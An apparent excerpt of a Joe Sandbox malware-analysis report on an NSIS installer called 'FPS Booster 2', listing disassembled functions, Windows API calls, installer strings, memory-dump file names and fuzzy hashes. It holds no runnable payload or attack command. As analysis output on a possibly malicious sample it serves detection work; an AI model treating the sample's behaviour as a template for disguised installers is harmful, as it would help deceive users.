Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: Show$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-2066119300
Opcode ID: 297fba6cd9e7c7e3f7edb2b2bb5f8a466a25db9789c8a0bf07f022a95d38d7f5
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 297fba6cd9e7c7e3f7edb2b2bb5f8a466a25db9789c8a0bf07f022a95d38d7f5
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNEL32(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNEL32(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename on reboot: %s, xrefs: 00401943
BringToFront, xrefs: 004016BD
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Call: %d, xrefs: 0040165A
CreateDirectory: "%s" (%d), xrefs: 004017BF
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename failed: %s, xrefs: 0040194B
Sleep(%d), xrefs: 0040169D
Aborting: "%s", xrefs: 0040161D
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
detailprint: %s, xrefs: 00401679
Rename: %s, xrefs: 004018F8
Jump: %d, xrefs: 00401602

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: b3b674945a8ce1646f82cd1a2970868ccc34f917f5dbcfb57dbe7a977c86b510
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: b3b674945a8ce1646f82cd1a2970868ccc34f917f5dbcfb57dbe7a977c86b510
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 6FFB188A Relevance: 54.5, APIs: 21, Strings: 10, Instructions: 215
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,?), ref: 6FFB18A4
HeapAlloc.KERNEL32(00000000), ref: 6FFB18A7
GetProcessHeap.KERNEL32(00000000,00000000,error,?,00000000,?,?,?,?,00000000,00000000), ref: 6FFB18E9
RtlFreeHeap.NTDLL(00000000,?,00000000,?,?,?,?,00000000,00000000), ref: 6FFB1B4E

Part of subcall function 6FFB1E83: GlobalAlloc.KERNELBASE(00000040,?,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1E99
Part of subcall function 6FFB1E83: lstrcpynW.KERNEL32(00000004,00000104,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1EAF

Strings

error, xrefs: 6FFB18C1, 6FFB18DC
RichEdit, xrefs: 6FFB19F1
BUTTON, xrefs: 6FFB1950, 6FFB1AA8, 6FFB1AD6
NSIS: nsControl pointer property, xrefs: 6FFB1AEA
LINK, xrefs: 6FFB1A5D, 6FFB1A9C
COMBOBOX, xrefs: 6FFB19A3
RICHEDIT_CLASS, xrefs: 6FFB1A15
STATIC, xrefs: 6FFB1A39
EDIT, xrefs: 6FFB197C
LISTBOX, xrefs: 6FFB19CA

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: Heap$AllocProcess$FreeGloballstrcpyn
String ID: BUTTON$COMBOBOX$EDIT$LINK$LISTBOX$NSIS: nsControl pointer property$RICHEDIT_CLASS$RichEdit$STATIC$error
API String ID: 1913068523-3375361224
Opcode ID: 338ecf551f453f9fda7fb7afd7eca21a177edb66853a5e14375405a10e84b2ad
Instruction ID: 13751149430b9cc2a350ed92b31e57b6093b593d07756c569b4f33cbdacbc717
Opcode Fuzzy Hash: 338ecf551f453f9fda7fb7afd7eca21a177edb66853a5e14375405a10e84b2ad
Instruction Fuzzy Hash: C1819072D54608EBDB219FA6CE85F9ABBBCFF09394F018119E904B7250D735E9148FA0

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 4d26819c9312f202396544013fe3d2d1a004a07f50c44ef3b4413d080c8abd80
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 4d26819c9312f202396544013fe3d2d1a004a07f50c44ef3b4413d080c8abd80
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(Show,?,?,?,Show,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(?,.exe,Show,?,?,?,Show,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(Show), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

@jG, xrefs: 00405AF2
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
Show, xrefs: 00405A22, 00405A27, 00405A38, 00405A89, 00405A8F
RichEd20, xrefs: 00405BC9
.DEFAULT\Control Panel\International, xrefs: 004059C5
_Nb, xrefs: 00405AFD
.exe, xrefs: 00405A69
RichEdit20A, xrefs: 00405BE2, 00405BE7
RichEd32, xrefs: 00405BD4
RichEdit, xrefs: 00405BF0

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Show$_Nb
API String ID: 608394941-1865872846
Opcode ID: d20d728eb82b6ec0bfd99ba95e735b3369be8e81bc17f383275f6e38f7aac643
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: d20d728eb82b6ec0bfd99ba95e735b3369be8e81bc17f383275f6e38f7aac643
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 6E9E1C1B Relevance: 37.3, APIs: 18, Strings: 3, Instructions: 559stringmemorylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E9E1581: GlobalAlloc.KERNELBASE(00000040,?,6E9E15BA,?,?,6E9E185F,?,6E9E1017), ref: 6E9E158B

Part of subcall function 6E9E15A3: lstrcpyW.KERNEL32(00000000,?,?,?,6E9E185F,?,6E9E1017), ref: 6E9E15C1
Part of subcall function 6E9E15A3: GlobalFree.KERNEL32 ref: 6E9E15D2

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 6E9E1D0B
lstrcpyW.KERNEL32(00000008,?), ref: 6E9E1D59
lstrcpyW.KERNEL32(00000808,?), ref: 6E9E1D63
GlobalFree.KERNEL32(00000000), ref: 6E9E1D7D
GlobalFree.KERNEL32(?), ref: 6E9E1E69
GlobalFree.KERNEL32(?), ref: 6E9E1E6E
GlobalFree.KERNELBASE(?), ref: 6E9E1E73
GlobalFree.KERNEL32(00000000), ref: 6E9E201A
lstrcpyW.KERNEL32(?,?), ref: 6E9E217A
GetModuleHandleW.KERNEL32(00000008), ref: 6E9E21EE
LoadLibraryW.KERNEL32(00000008), ref: 6E9E21FF
lstrcmpiW.KERNEL32(kernel32,00000008), ref: 6E9E221B
lstrcmpiW.KERNEL32(kernel32.dll,00000008), ref: 6E9E2227
lstrlenW.KERNEL32(00000808), ref: 6E9E2258
lstrcatW.KERNEL32(00000808,6E9E30C8), ref: 6E9E227C
lstrcpyW.KERNEL32(?,00000808), ref: 6E9E22C7
lstrcatW.KERNEL32(?,00000057), ref: 6E9E22DE
lstrcatW.KERNEL32(00000808,00000057), ref: 6E9E2307

Strings

W, xrefs: 6E9E22C0
kernel32, xrefs: 6E9E2216
kernel32.dll, xrefs: 6E9E2222

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: Global$Free$lstrcpy$lstrcat$Alloclstrcmpi$HandleLibraryLoadModulelstrlen
String ID: W$kernel32$kernel32.dll
API String ID: 2496820534-4093004423
Opcode ID: a5a88b85c5c1632b600f2095ed1c0678d2ba3cb049703146cb72a036ceafcde6
Instruction ID: 9c25dd1a96d3f0629b8a6c197737099dd6da1b626ed54b611e41eadc8e6bc6d7
Opcode Fuzzy Hash: a5a88b85c5c1632b600f2095ed1c0678d2ba3cb049703146cb72a036ceafcde6
Instruction Fuzzy Hash: AB128A71904206DECB56CFEAC8846EEB7B8FF4A315F10492EE365A7990D770D6888F50

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,Show,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,Show,Show,00000000,00000000,Show,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426D70,76F923A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: error, user cancel, xrefs: 00401B93
File: error creating "%s", xrefs: 00401AF0
File: wrote %d to "%s", xrefs: 00401BD0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
Show, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user retry, xrefs: 00401B40
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user abort, xrefs: 00401B53

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$Show
API String ID: 4286501637-2784701388
Opcode ID: 879180ffdf271ada8e3a0b4b989ad1a783c732f8dcb62547d18be893587f2823
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: 879180ffdf271ada8e3a0b4b989ad1a783c732f8dcb62547d18be893587f2823
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Inst, xrefs: 00403698
Error launching installer, xrefs: 00403603
Null, xrefs: 004036AA
soft, xrefs: 004036A1
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 60015d4ad0f4b5f5eae55729fc88f45e330dc420916319a7d833a41d7a943f83
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 60015d4ad0f4b5f5eae55729fc88f45e330dc420916319a7d833a41d7a943f83
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00426D70,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

pmB, xrefs: 0040346F, 0040348A, 00403513
(]C, xrefs: 004033FD
... %d%%, xrefs: 004034C8
pAB, xrefs: 004033AB

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$pmB
API String ID: 651206458-1316446892
Opcode ID: cb4c91118d633cdc657fe6c8c56820a3b26f1ee58aa4180b17ceb2c9431ae53d
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: cb4c91118d633cdc657fe6c8c56820a3b26f1ee58aa4180b17ceb2c9431ae53d
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

